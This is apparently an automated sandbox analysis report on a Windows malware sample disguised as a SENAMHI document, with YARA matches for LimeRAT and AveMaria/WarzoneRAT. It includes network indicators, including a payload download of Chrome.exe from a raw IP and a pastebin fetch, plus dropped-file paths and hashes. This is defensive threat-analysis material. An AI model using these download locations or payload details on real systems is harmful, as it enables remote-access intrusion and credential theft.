00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
                      Source: unknownDNS traffic detected: queries for: pastebin.com
                      Source: global trafficHTTP traffic detected: GET /raw/03PEm7js HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /Chrome.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 172.111.242.20Connection: Keep-Alive
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20
                      Source: unknownTCP traffic detected without corresponding DNS query: 172.111.242.20

                      Key, Mouse, Clipboard, Microphone and Screen Capturing

                      barindex
                      Yara detected LimeRAT
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 18.2.chrome.exe.760000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 18.0.chrome.exe.760000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.2b22c9c.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.2.chrome.exe.a20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.2b22c9c.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000013.00000000.80248070314.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000012.00000000.80097480691.0000000000762000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000010.00000002.80087663971.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000012.00000002.83499752484.0000000000762000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80247515540.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000010.00000002.80088120152.0000000002DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79892756744.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79892233843.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000002.80404784517.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80246486829.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79893250831.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000002.80311999722.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80246995488.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79893776213.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000002.80316124713.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: wtqsCpda..exe PID: 1033924, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: schtasks.exe PID: 1034124, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: chrome.exe PID: 1034204, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: chrome.exe PID: 6672, type: MEMORYSTR
                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe, type: DROPPED
                      Source: Yara matchFile source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, type: DROPPED
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmpBinary or memory string: GetRawInputData
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWindow created: window name: CLIPBRDWNDCLASS

                      E-Banking Fraud

                      barindex
                      Yara detected AveMaria stealer
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

                      Operating System Destruction

                      barindex
                      Protects its processes via BreakOnTermination flag
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: 01 00 00 00

                      System Summary

                      barindex
                      Malicious sample detected (through community Yara rule)
                      Source: 15.0.wtqsCpda..exe.540000.3.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 19.0.chrome.exe.a20000.0.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 18.2.chrome.exe.760000.0.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 18.0.chrome.exe.760000.0.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Author: unknown
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
                      Source: 15.0.wtqsCpda..exe.540000.2.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 15.2.wtqsCpda..exe.2b22c9c.1.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Author: unknown
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
                      Source: 15.0.wtqsCpda..exe.540000.1.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Author: unknown
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Author: unknown
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
                      Source: 19.2.chrome.exe.a20000.0.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 19.0.chrome.exe.a20000.1.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Author: unknown
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
                      Source: 19.0.chrome.exe.a20000.2.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Author: unknown
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
                      Source: 15.0.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Author: unknown
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
                      Source: 19.0.chrome.exe.a20000.3.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2ff89af.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Author: unknown
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
                      Source: 15.2.wtqsCpda..exe.2b22c9c.1.raw.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 15.2.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPEMatched rule: LimeRAT payload Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Author: unknown
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPEDMatched rule: LimeRAT payload Author: ditekSHen
                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe, type: DROPPEDMatched rule: LimeRAT payload Author: ditekSHen
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, type: DROPPEDMatched rule: LimeRAT payload Author: ditekSHen
                      Initial sample is a PE file and has a suspicious name
                      Source: initial sampleStatic PE information: Filename: DocumentoSENAMHI20222103.exe
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BDFA9C
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_029341F8
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_02936130
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_0293C958
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_02934E10
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_0293AD00
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_02934540
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_0293ACF5
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 18_2_02B941F8
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 18_2_02B96130
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 18_2_02B94E10
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 18_2_02B94540
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 19_2_013C41F8
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 19_2_013C4E10
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 19_2_013C4540
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeSection loaded: edgegdi.dll
                      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: edgegdi.dll
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeSection loaded: edgegdi.dll
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeSection loaded: sbiedll.dll
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeSection loaded: edgegdi.dll
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeSection loaded: sbiedll.dll
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeSection loaded: edgegdi.dll
                      Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe 21B86512DE83574C3AD44210D025E93FB28D205CFBD18825DA0A64A52063B627
                      Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\IconLib.dll 087A0C5F789E964A2FBCB781015D3FC9D1757358BC63BB4E0B863B4DFFDB6E4F
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                      Source: 15.0.wtqsCpda..exe.540000.3.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 19.0.chrome.exe.a20000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 18.2.chrome.exe.760000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 18.2.chrome.exe.53f0000.7.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 18.0.chrome.exe.760000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
                      Source: 15.0.wtqsCpda..exe.540000.2.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 15.2.wtqsCpda..exe.2b22c9c.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
                      Source: 18.2.chrome.exe.53d0000.1.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 15.0.wtqsCpda..exe.540000.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
